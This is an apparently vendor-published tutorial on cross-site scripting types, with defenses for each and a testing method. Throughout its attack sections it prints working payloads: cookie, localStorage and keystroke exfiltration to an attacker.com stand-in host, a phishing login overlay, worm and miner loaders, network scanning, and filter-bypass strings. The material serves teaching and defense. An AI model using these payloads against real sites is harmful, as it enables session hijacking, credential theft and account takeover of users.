XSS Attack Types & Payloads Explained: Reflected, Stored, DOM, Blind & Self-XSS (2026)
Cross-Site Scripting (XSS) — The Vulnerability That Won't Die
Cross-Site Scripting has been in the OWASP Top 10 since its inception and remains one of the most exploited web vulnerabilities in 2026. Despite modern frameworks offering built-in protections, XSS accounted for 53% of all web application vulnerabilities reported on bug bounty platforms in 2025.
This article breaks down every XSS attack type, shows you real payloads used in penetration tests and bug bounties, explains how each type works at a technical level, and provides specific defenses for each variant.
OWASP Classification: A03:2021 — Injection | CWE-79: Improper Neutralization of Input During Web Page Generation
Table of Contents
- How XSS Works — The Fundamentals
- Type 1: Reflected XSS (Non-Persistent)
- Type 2: Stored XSS (Persistent)
- Type 3: DOM-Based XSS
- Type 4: Blind XSS
- Type 5: Mutation XSS (mXSS)
- Type 6: Self-XSS
- Advanced Bypass Payloads
- XSS Impact — What Attackers Can Do
- Defense Matrix — Prevention by Type
- Testing Methodology
1. How XSS Works — The Fundamentals
XSS occurs when an application includes untrusted data in its HTML output without proper encoding or validation. The browser cannot distinguish between the application's legitimate JavaScript and code injected by an attacker.
The Attack Flow
1. Attacker crafts a malicious input containing JavaScript
2. Application includes the input in its HTML response
3. Victim's browser parses the HTML and executes the injected script
4. Script runs in the context of the vulnerable origin (same-origin policy)
5. Attacker steals cookies, tokens, keystrokes, or performs actions as the victim
Why It Matters
| Impact | Description |
|---|---|
| Session Hijacking | Steal session cookies and impersonate users |
| Credential Theft | Inject fake login forms or capture keystrokes |
| Account Takeover | Change email, password, or recovery settings |
| Malware Distribution | Redirect users to malicious downloads |
| Defacement | Alter page content to damage brand reputation |
| Worm Propagation | Self-replicating XSS (Samy worm infected 1M MySpace profiles) |
2. Reflected XSS (Non-Persistent)
Reflected XSS is the most common type. The malicious payload is part of the request (URL parameter, form field, HTTP header) and is immediately reflected back in the response without being stored.
How It Works
Victim clicks:
https://shop.example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Server responds:
<h2>Search results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></h2>
Browser executes the script → cookie sent to attacker
Real Payloads — Reflected XSS
Basic Injection (Testing)
<script>alert(document.domain)</script>
Image Tag Event Handler
<img src=x onerror=alert(document.domain)>
SVG Onload
<svg onload=alert(document.domain)>
Injecting into HTML Attributes
When input lands inside an attribute value:
<!-- Vulnerable code -->
<input type="text" value="USER_INPUT">
<!-- Payload: break out of attribute -->
" onfocus=alert(document.domain) autofocus="
<!-- Result -->
<input type="text" value="" onfocus=alert(document.domain) autofocus="">
Injecting into JavaScript Strings
When input lands inside a JS string:
// Vulnerable code
var search = 'USER_INPUT';
// Payload: break out of string
';alert(document.domain);//
// Result
var search = '';alert(document.domain);//';
URL Parameter Injection
<!-- Vulnerable code -->
<a href="https://example.com/page?redirect=USER_INPUT">Click</a>
<!-- Payload -->
javascript:alert(document.domain)
<!-- Result -->
<a href="javascript:alert(document.domain)">Click</a>
Real-World Example
In 2023, a reflected XSS in Google Search allowed researchers to execute scripts via crafted search queries. The vulnerability existed in a parameter that was reflected into a JavaScript context without encoding.
Defense
- Output encoding — HTML-encode all reflected user input
- Content Security Policy — Block inline script execution
- Input validation — Reject or sanitize unexpected characters
3. Stored XSS (Persistent)
Stored XSS is the most dangerous type. The payload is saved on the server (database, file, log) and served to every user who views the affected page. No victim interaction with a malicious link is required.
How It Works
1. Attacker posts a comment containing malicious JavaScript
2. Application stores the comment in the database without sanitization
3. Every user who views the comments page has the script execute in their browser
4. Script steals each user's session token silently
Attack Vectors
| Vector | Example |
|---|---|
| Blog comments | Forum posts, article comments |
| User profiles | Display name, bio, avatar URL |
| Messages | Chat messages, support tickets |
| File uploads | SVG files with embedded scripts, HTML files |
| Product reviews | E-commerce review fields |
| Admin panels | Log viewers that render stored user input |
Real Payloads — Stored XSS
Cookie Stealer
<script>
new Image().src='https://attacker.com/collect?cookie='+encodeURIComponent(document.cookie);
</script>
Session Token Exfiltration via Fetch
<script>
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: location.href,
localStorage: JSON.stringify(localStorage)
})
});
</script>
Keylogger Injection
<script>
document.addEventListener('keypress', function(e) {
new Image().src='https://attacker.com/keys?k='+e.key+'&url='+encodeURIComponent(location.href);
});
</script>
Fake Login Form Overlay (Phishing)
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;display:flex;align-items:center;justify-content:center">
<form action="https://attacker.com/phish" method="POST" style="width:300px">
<h2>Session Expired</h2>
<p>Please re-enter your credentials:</p>
<input name="email" placeholder="Email" style="width:100%;padding:8px;margin:4px 0"><br>
<input name="password" type="password" placeholder="Password" style="width:100%;padding:8px;margin:4px 0"><br>
<button type="submit" style="width:100%;padding:10px;background:#007bff;color:#fff;border:none;cursor:pointer">Login</button>
</form></div>
SVG File Upload XSS
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<text x="10" y="20">Malicious SVG</text>
</svg>
Real-World Examples
- British Airways (2018): Stored XSS in the payment page via a compromised third-party script — 380,000 credit cards stolen over 15 days
- Samy Worm (2005): Self-replicating stored XSS on MySpace — 1 million friend requests in 20 hours
Defense
- Sanitize on input AND encode on output — Never trust stored data
- Use allowlists — Only permit expected HTML tags/attributes if rich text is needed
- Content Security Policy — Prevent exfiltration to external domains
- HttpOnly cookies — Prevent JavaScript access to session tokens
- Subresource Integrity (SRI) — Detect tampered third-party scripts
4. DOM-Based XSS
DOM-based XSS is unique because the server never sees the payload. The vulnerability exists entirely in client-side JavaScript that processes user input unsafely.
How It Works
1. Vulnerable JavaScript reads from a source (URL hash, location, referrer)
2. The value is passed to a dangerous sink (innerHTML, eval, document.write)
3. The browser executes the attacker's code — server logs show nothing
Sources and Sinks
Dangerous Sources (where attacker-controlled data enters):
location.hash // #payload
location.search // ?param=payload
location.href // Full URL
document.referrer // Referring page URL
document.cookie // Cookie values
window.name // Cross-origin data channel
postMessage data // Cross-frame messages
localStorage/sessionStorage // Stored values
Dangerous Sinks (where data gets executed):
element.innerHTML = ... // Parses HTML
element.outerHTML = ... // Parses HTML
document.write(...) // Writes to document
document.writeln(...) // Writes to document
eval(...) // Executes JavaScript
setTimeout(string, ...) // Executes JavaScript
setInterval(string, ...) // Executes JavaScript
new Function(string) // Executes JavaScript
element.setAttribute(...) // Can set event handlers
jQuery.html(...) // jQuery innerHTML equivalent
jQuery.append(...) // jQuery DOM insertion
Real Payloads — DOM-Based XSS
Hash Fragment Injection
// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('content').innerHTML = content;
// Attack URL
https://example.com/page#<img src=x onerror=alert(document.domain)>
// The hash fragment never reaches the server — invisible to WAFs
postMessage Exploitation
// Vulnerable receiver (on target site)
window.addEventListener('message', function(e) {
// No origin check!
document.getElementById('widget').innerHTML = e.data;
});
// Attacker page (on attacker.com)
<iframe src="https://vulnerable-site.com/page-with-listener" id="target"></iframe>
<script>
document.getElementById('target').contentWindow.postMessage(
'<img src=x onerror=alert(document.domain)>', '*'
);
</script>
jQuery Sink Exploitation
// Vulnerable pattern (very common)
var tabName = location.hash.substring(1);
$('#tabs').html('<div class="tab">' + tabName + '</div>');
// Payload
https://app.example.com/dashboard#<img src=x onerror=alert(1)>
window.name Cross-Origin Data
// Attacker sets window.name before redirecting victim
window.name = '<img src=x onerror=alert(document.domain)>';
location.href = 'https://vulnerable-site.com/page';
// Vulnerable site reads window.name
document.getElementById('greeting').innerHTML = window.name;
Real-World Example
In 2024, a DOM XSS in a major SaaS platform's dashboard was found where location.hash was passed directly to jQuery's .html() method. Because the payload never hit the server, the company's WAF and server-side sanitization were completely bypassed.
Defense
- Never use innerHTML with user-controlled data — use
textContentinstead - Validate postMessage origins — always check
event.origin - Use DOMPurify — sanitize before any DOM insertion
- Trusted Types API — browser-enforced sink protection
- Avoid eval and string-based setTimeout/setInterval
5. Blind XSS
Blind XSS is a variant of stored XSS where the attacker never sees the payload execute. The payload fires in a different application — typically an internal admin panel, support dashboard, log viewer, or back-office tool.
How It Works
1. Attacker injects XSS payload into a user-facing input (support ticket, feedback form, user-agent header)
2. Payload is stored and later rendered in an internal admin tool
3. When an admin views the data, the payload executes in THEIR browser
4. Admin's session token, internal URLs, and sensitive data are exfiltrated
Why It's Dangerous
- Targets high-privilege users — admins, support staff, developers
- Bypasses front-end sanitization — input may be sanitized for user-facing views but not admin views
- Harder to detect — attacker doesn't see the result; relies on callback
- Access to internal systems — admin sessions often have access to all user data, configuration, and infrastructure
Real Payloads — Blind XSS
Callback Beacon (Basic)
<script>
new Image().src='https://attacker.com/blind?cookie='+encodeURIComponent(document.cookie)+'&url='+encodeURIComponent(location.href);
</script>
Full Page Screenshot + DOM Exfiltration
<script>
fetch('https://attacker.com/blind-xss', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
dom: document.documentElement.outerHTML,
localStorage: JSON.stringify(localStorage)
})
});
</script>
User-Agent Header Injection
GET /api/products HTTP/1.1
Host: shop.example.com
User-Agent: <script src=https://attacker.com/hook.js></script>
When the admin views access logs in a web-based log viewer, the script executes.
Contact Form / Support Ticket
Name: John Doe
Email: john@example.com
Subject: Order Issue
Message: My order #12345 hasn't arrived. <script src=https://attacker.com/probe.js></script>
Common Blind XSS Injection Points
| Input Field | Where It Renders |
|---|---|
| Contact/feedback forms | Admin CRM / support dashboard |
| User-Agent / Referer headers | Log analysis tools |
| Error messages / stack traces | Error monitoring dashboards (Sentry, etc.) |
| User registration fields | Admin user management panel |
| File upload names | File manager / media library |
| Order notes / special instructions | Order management system |
| API request bodies | API monitoring / debugging tools |
Real-World Example
A bug bounty hunter injected XSS into the User-Agent header of requests to an e-commerce platform. The payload fired weeks later when a developer opened the HTTP logs in their internal Kibana dashboard — exfiltrating the developer's session and gaining access to internal infrastructure.
Defense
- Sanitize data in ALL rendering contexts — including admin panels and log viewers
- Escape data at the template level — not just the user-facing app
- CSP on internal tools — internal admin panels need CSP headers too
- HttpOnly cookies — especially on admin/internal sessions
- Log viewers should render text, not HTML — use
textContent, neverinnerHTML
6. Mutation XSS (mXSS)
Mutation XSS exploits browser HTML parsing quirks. The payload looks harmless when sanitized, but the browser mutates the DOM structure during parsing, creating an executable payload.
How It Works
1. Attacker crafts malformed HTML that passes sanitization
2. Sanitizer sees no dangerous elements and allows it through
3. Browser's HTML parser "fixes" the malformed HTML
4. The fixed/mutated HTML now contains executable JavaScript
Real Payloads — Mutation XSS
Backtick Mutation (Classic)
<!-- Input (passes many sanitizers) -->
<img src="x` `<script>alert(1)</script>"` `>
<!-- Browser mutates to -->
<img src="x">
<script>alert(1)</script>
"" >
Namespace Confusion
<!-- Input -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<!-- After parsing, the img tag escapes the style context due to namespace rules -->
SVG/foreignObject Mutation
<!-- Input -->
<svg><foreignObject><div><style><!--</style><img src=x onerror=alert(1)></div></foreignObject></svg>
Why It Bypasses Sanitizers
Sanitizers like DOMPurify process HTML as a string or via a parser. If the browser's parser interprets the same HTML differently than the sanitizer's parser, the sanitizer sees safe HTML while the browser creates dangerous HTML.
Defense
- Keep DOMPurify updated — mXSS bypasses are patched regularly
- Use Trusted Types — enforce sanitization at the browser level
- Double parsing defense — serialize sanitized DOM back to string, re-parse, and sanitize again
- CSP script-src nonces — even if mXSS fires, CSP blocks unsigned scripts
7. Self-XSS
Self-XSS tricks users into executing malicious code in their own browser console. It's a social engineering attack, not a traditional injection.
How It Works
1. Attacker posts on social media: "Paste this code in your browser console to unlock a hidden feature!"
2. Victim opens DevTools and pastes: javascript:fetch('https://attacker.com/steal?t='+document.cookie)
3. Victim's own cookies/data are exfiltrated
Real-World Scenarios
- "Paste this code to see who unfriended you on Facebook"
- "Copy this script to get free premium features"
- "Debug code to fix your account issue" (fake support)
Defense
- Browser console warnings — Facebook pioneered this with the "Stop!" warning
- User education — Never paste code from untrusted sources
- CSP — Limits damage even if code is executed
- This is NOT typically in scope for bug bounties — classified as social engineering
8. Advanced Bypass Payloads
When WAFs, sanitizers, or filters are in place, attackers use bypass techniques. Here are common ones:
Filter Bypass — Case Manipulation
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
Filter Bypass — Tag Alternatives
<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
Filter Bypass — Encoding
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- URL encoding (in URL contexts) -->
%3Cscript%3Ealert(1)%3C/script%3E
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Hex encoding -->
<script>\x61lert(1)</script>
<!-- Octal encoding (in JS strings) -->
<script>\141lert(1)</script>
Filter Bypass — Obfuscation
<!-- String concatenation -->
<script>al\u0065rt(1)</script>
<!-- Constructor approach -->
<script>[].constructor.constructor('alert(1)')()</script>
<!-- Template literals -->
<script>alert\`1\`</script>
<!-- Top-level -->
<script>top['al'+'ert'](1)</script>
<!-- setTimeout -->
<script>setTimeout('ale'+'rt(1)')</script>
Filter Bypass — Event Handlers Without Parentheses
<svg onload=alert(1)>
<img src=x onerror=alert\`1\`>
<img src=x onerror=throw^onerror=alert,1>
Filter Bypass — JavaScript Protocol
<!-- In href/src attributes -->
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
<a href="\x6Aavascript:alert(1)">Click</a>
<!-- With tab/newline injection -->
<a href="java	script:alert(1)">Click</a>
<a href="java
script:alert(1)">Click</a>
Polyglot Payload (Tests Multiple Contexts)
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>
This payload works in HTML context, attribute context, script context, and URL context simultaneously.
9. XSS Impact — What Attackers Can Do
Session Hijacking
// Steal session and send to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: document.cookie
});
Account Takeover via Password Change
// Change victim's password using their active session
fetch('/api/user/change-password', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name=csrf-token]').content
},
body: JSON.stringify({ newPassword: 'attacker-controlled-password' })
});
Cryptocurrency Mining
// Inject crypto miner (affects every visitor)
var s = document.createElement('script');
s.src = 'https://attacker.com/coinhive.min.js';
document.body.appendChild(s);
Worm Propagation
// Self-replicating XSS — posts itself to all friends
fetch('/api/post', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
content: '<script src=https://attacker.com/worm.js></script>',
visibility: 'public'
})
});
Internal Network Scanning
// Scan internal network from victim's browser
for (var i = 1; i < 255; i++) {
var img = new Image();
img.src = 'http://192.168.1.' + i + ':8080/favicon.ico';
img.onload = function() {
fetch('https://attacker.com/found?ip=' + this.src);
};
}
10. Defense Matrix — Prevention by XSS Type
| Defense | Reflected | Stored | DOM | Blind | mXSS |
|---|---|---|---|---|---|
| Output Encoding | ✅ | ✅ | ❌ | ✅ | ❌ |
| Input Validation | ✅ | ✅ | ⚠️ | ✅ | ⚠️ |
| CSP (strict) | ✅ | ✅ | ✅ | ✅ | ✅ |
| HttpOnly Cookies | ✅ | ✅ | ✅ | ✅ | ✅ |
| DOMPurify | ⚠️ | ✅ | ✅ | ⚠️ | ✅ |
| Trusted Types | ❌ | ⚠️ | ✅ | ❌ | ✅ |
| textContent (not innerHTML) | ⚠️ | ⚠️ | ✅ | ✅ | ✅ |
| WAF | ✅ | ✅ | ❌ | ✅ | ⚠️ |
✅ = Effective | ⚠️ = Partial | ❌ = Not applicable
Universal Defense Checklist
[ ] Output-encode all dynamic data in HTML, JS, URL, and CSS contexts
[ ] Implement strict Content Security Policy with nonces
[ ] Set HttpOnly and Secure flags on all session cookies
[ ] Use SameSite=Strict or SameSite=Lax on cookies
[ ] Use modern frameworks with auto-escaping (React, Angular, Vue)
[ ] Sanitize with DOMPurify when rendering user-supplied HTML
[ ] Validate and restrict all URL schemes (block javascript:)
[ ] Deploy Trusted Types for DOM sink protection
[ ] Enable X-Content-Type-Options: nosniff
[ ] Apply CSP to internal tools and admin panels (not just public pages)
[ ] Review all postMessage handlers for missing origin checks
[ ] Sanitize data in log viewers, admin dashboards, and CRM tools
11. Testing Methodology
Step 1: Identify Input Points
Map every place the application accepts user input — URL parameters, form fields, HTTP headers, file uploads, API bodies, WebSocket messages.
Step 2: Trace Data Flow
Follow each input to see where it's rendered. Is it reflected immediately? Stored in a database? Passed to client-side JavaScript?
Step 3: Determine Context
Where does the input land in the HTML?
| Context | Example | Escape Method |
|---|---|---|
| HTML body | <div>USER_INPUT</div> | HTML entity encode |
| HTML attribute | <input value="USER_INPUT"> | Attribute encode + quote |
| JavaScript string | var x = 'USER_INPUT'; | JavaScript encode |
| URL parameter | <a href="/page?q=USER_INPUT"> | URL encode |
| CSS value | <div style="color:USER_INPUT"> | CSS encode |
Step 4: Test Payloads by Context
HTML Context:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Attribute Context:
" onmouseover=alert(1) x="
' onfocus=alert(1) autofocus='
JavaScript Context:
';alert(1);//
\';alert(1);//
</script><script>alert(1)</script>
URL Context:
javascript:alert(1)
data:text/html,<script>alert(1)</script>
Step 5: Escalate
Once you confirm XSS, demonstrate real impact — cookie theft, account takeover, or data exfiltration. alert(1) proves the bug exists; impact demonstration justifies the severity rating.
Recommended Tools
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept, modify, and replay requests |
| OWASP ZAP | Free automated XSS scanner |
| XSStrike | Intelligent XSS payload generator |
| Dalfox | Parameter analysis and XSS scanning |
| Browser DevTools | Inspect DOM, debug JavaScript, monitor network |
Key Takeaways
- XSS is not one vulnerability — it's a family of 6+ distinct attack types, each requiring different defenses
- DOM XSS bypasses server-side defenses — WAFs and server sanitization cannot see hash fragments or client-side manipulation
- Blind XSS targets your most privileged users — admin panels and internal tools need the same security as public pages
- Mutation XSS bypasses sanitizers — keep DOMPurify updated and use Trusted Types as a second layer
- Context matters — the same input needs different encoding depending on where it appears (HTML, JS, URL, CSS)
- CSP is your strongest safety net — a strict Content Security Policy with nonces catches what other defenses miss
- Impact > alert(1) — demonstrating real exploitation (session theft, account takeover) is what gets vulnerabilities fixed
Need Help Securing Your Application?
Our penetration testing team tests for all XSS variants — including blind XSS targeting your internal tools and mutation XSS bypassing your sanitizers. Every engagement includes verified payloads, impact assessment, and remediation code.
Request a Free Consultation → | View Our Secure Code Review Service →
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
OWASP Top 10 2025: What's Changed and How to Prepare
A comprehensive breakdown of the latest OWASP Top 10 vulnerabilities and actionable steps to secure your applications against them.
The Ultimate Secure Code Review Checklist for 2025
A comprehensive, actionable checklist for conducting secure code reviews. Covers input validation, authentication, authorization, cryptography, error handling, and CI/CD integration with real-world examples.
SQL Injection Prevention: Complete Guide with Code Examples
Master SQL injection attacks and learn proven prevention techniques. Includes vulnerable code examples, parameterized queries, and real-world breach analysis.